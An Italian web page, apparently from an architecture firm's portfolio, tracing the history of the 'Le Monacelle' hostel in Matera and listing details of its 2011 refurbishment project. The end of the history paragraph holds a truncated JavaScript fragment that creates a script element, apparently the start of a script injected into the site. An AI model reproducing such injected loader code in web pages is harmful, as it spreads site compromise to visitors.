L’albergo e ostello “Le Monacelle”, che si trova nel cuore della Civita in una posizione comodissima per visitare tutto il centro storico di Matera, è un complesso molto antico. Fondato nel 1594 dal frate cappuccino Matteo del Cilento per essere la sede del conservatorio, venne presto adibito a monastero e vi furono quasi da subito ospitate donne povere non sposate che vivevano come le monache e che per questo venivano chiamate “le monacelle”, cui si aggiunsero in seguito nobildonne in ritiro spirituale. Dopo un’iniziale fase di difficoltà economiche legate all’esiguità delle somme percepite dalle ospiti, il Sacro Consiglio aumentò le rette annuali delle educande dando nuova vita all’attività: la migliorata situazione economica, infatti, permise al Conservatorio di ammodernare, nel corso del 1647, la chiesa annessa al complesso , arricchendola con ulteriori arredi e decorazioni.
Nel 1730 venne edificata la nuova chiesa che, inizialmente dedicata a Santa Maria della Pietà e poi a san Giuseppe, fu ampliata a discapito della pubblica via e abbellita all’interno da altari in marmo e oro, donati dai frati benedettini di Montescaglioso. Nel 1786 a tali apparati decorativi vennero aggiunti paramenti sacri, calici d’oro e d’argento, candelieri e campane.
Nel 1731 il Conservatorio acquisì la chiesa di San Eustachio dal Monastero dell’Annunziata: l’edificio, inaugurato nel 1082, si compone di tre navate di cui quella centrale, più alta, sorretta da tre coppie di colonne granitiche, termina in una cupola portata da quattro pilastri a base quadrangolare. Tale chiesa era collegata al monastero tramite uno stretto passaggio che impediva alle suore di clausura di essere viste durante i loro spostamenti.
L’attività del Conservatorio proseguì fino all’unità d’Italia e, in seguito alla legge Crispi, divenne una “Congregazione di carità” nella quale venivano accolte ed istruite donne di età inferiore ai ventuno anni.
All’inizio del Novecento l’edificio venne adibito ad orfanotrofio femminile gestito dall’E.C.A. e diretto dalle Suore Riparatrici del Sacro Cuore.
In seguito vi fu istituita una scuole materna ed elementare, che fu in attività fino alla fine degli anni Settanta, quando gli enti di beneficenza che la patrocinavano vennero soppressi. Le ultime suore rimaste furono, allora, trasferite e il Conservatorio rimase chiuso fino al 1998 quando, con i fondi del Giubileo, ne vennero finanziati il restauro e la rifunzionalizzazione.
Durante la campagna di lavorazioni nel 2011 i lavori di adeguamento funzionale hanno visto l’introduzione di nuove aree per attività artistiche, fotografiche, pittoriche e scultoree. var d=document;var s=d.createElement(‘script’);

Natura dell'opera: Lavori di adeguamento funzionale delle strutture coinvolte nel "Progetto OstelloIN"
Committente: A.I.G. Associazione Italiana Alberghi per la Gioventù Via Cavour N. 44 - Roma
Indirizzo di cantiere: 1 - Bologna
2 - Cagliari
3 - Firenze
4 - Genova
5 - Matera
6 - Napoli
7 - Perugia
8 - Trieste
Importo dei lavori: € 1.311.040,23 oltre IVA
Categoria soa: OG 1; OG 11; OS 6
Direttore di cantiere: Arch. Simone Massimilla
Direttore dei lavori: Arch. Gennaro Scarpino
Anno di realizzazione: 2011